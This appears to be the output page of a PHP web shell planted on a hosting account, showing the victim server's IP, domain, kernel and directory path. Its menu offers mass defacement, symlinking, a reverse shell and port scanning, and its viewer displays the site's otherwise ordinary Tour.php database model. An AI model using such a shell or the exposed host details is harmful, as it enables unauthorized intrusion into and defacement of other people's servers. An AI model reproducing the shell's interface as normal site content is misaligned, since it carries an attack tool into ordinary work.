Tul xxx Tul
User / IP
:
216.73.216.217
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
tours
/
app
/
models
/
Viewing: Tour.php
<?php declare(strict_types=1); class Tour extends Model { public function getAll(?string $status = null): array { if (!$this->db instanceof PDO) { return []; } try { $sql = "SELECT t.id, t.title, t.description, t.includes, t.excludes, t.recommendations, t.price, t.location, t.image, t.status, t.created_at, (SELECT g.file_path FROM gallery g WHERE g.tour_id = t.id AND g.type = 'image' ORDER BY g.id ASC LIMIT 1) AS gallery_cover FROM tours t"; $params = []; if ($status !== null && in_array($status, ['active', 'inactive'], true)) { $sql .= ' WHERE t.status = :status'; $params['status'] = $status; } $sql .= ' ORDER BY t.created_at DESC'; $statement = $this->db->prepare($sql); $statement->execute($params); return $statement->fetchAll() ?: []; } catch (PDOException $exception) { error_log('Error obteniendo todos los tours: ' . $exception->getMessage()); return []; } } public function findById(int $id): ?array { if (!$this->db instanceof PDO) { return null; } $statement = $this->db->prepare( 'SELECT id, title, description, includes, excludes, recommendations, price, location, image, status, created_at FROM tours WHERE id = :id LIMIT 1' ); $statement->execute(['id' => $id]); $tour = $statement->fetch(); return $tour ?: null; } public function create(array $data): ?int { if (!$this->db instanceof PDO) { return null; } $statement = $this->db->prepare( 'INSERT INTO tours (title, description, includes, excludes, recommendations, price, location, image, status, created_at) VALUES (:title, :description, :includes, :excludes, :recommendations, :price, :location, :image, :status, NOW())' ); $ok = $statement->execute([ 'title' => $data['title'], 'description' => $data['description'], 'includes' => $data['includes'] ?? null, 'excludes' => $data['excludes'] ?? null, 'recommendations' => $data['recommendations'] ?? null, 'price' => $data['price'], 'location' => $data['location'], 'image' => $data['image'], 'status' => $data['status'], ]); return $ok ? (int) $this->db->lastInsertId() : null; } public function update(int $id, array $data): bool { if (!$this->db instanceof PDO) { return false; } $statement = $this->db->prepare( 'UPDATE tours SET title = :title, description = :description, includes = :includes, excludes = :excludes, recommendations = :recommendations, price = :price, location = :location, image = :image, status = :status WHERE id = :id' ); return $statement->execute([ 'id' => $id, 'title' => $data['title'], 'description' => $data['description'], 'includes' => $data['includes'] ?? null, 'excludes' => $data['excludes'] ?? null, 'recommendations' => $data['recommendations'] ?? null, 'price' => $data['price'], 'location' => $data['location'], 'image' => $data['image'], 'status' => $data['status'], ]); } public function delete(int $id): bool { if (!$this->db instanceof PDO) { return false; } $statement = $this->db->prepare('DELETE FROM tours WHERE id = :id'); return $statement->execute(['id' => $id]); } public function getPublicWithCover(): array { if (!$this->db instanceof PDO) { return []; } try { $statement = $this->db->query( "SELECT t.id, t.title, t.description, t.includes, t.excludes, t.recommendations, t.price, t.location, t.image, t.status, (SELECT g.file_path FROM gallery g WHERE g.tour_id = t.id AND g.type = 'image' ORDER BY g.id ASC LIMIT 1) AS gallery_cover FROM tours t WHERE t.status = 'active' ORDER BY t.created_at DESC" ); return $statement->fetchAll() ?: []; } catch (PDOException $exception) { error_log('Error obteniendo tours públicos: ' . $exception->getMessage()); return []; } } }
Coded With 💗 by
0x6ick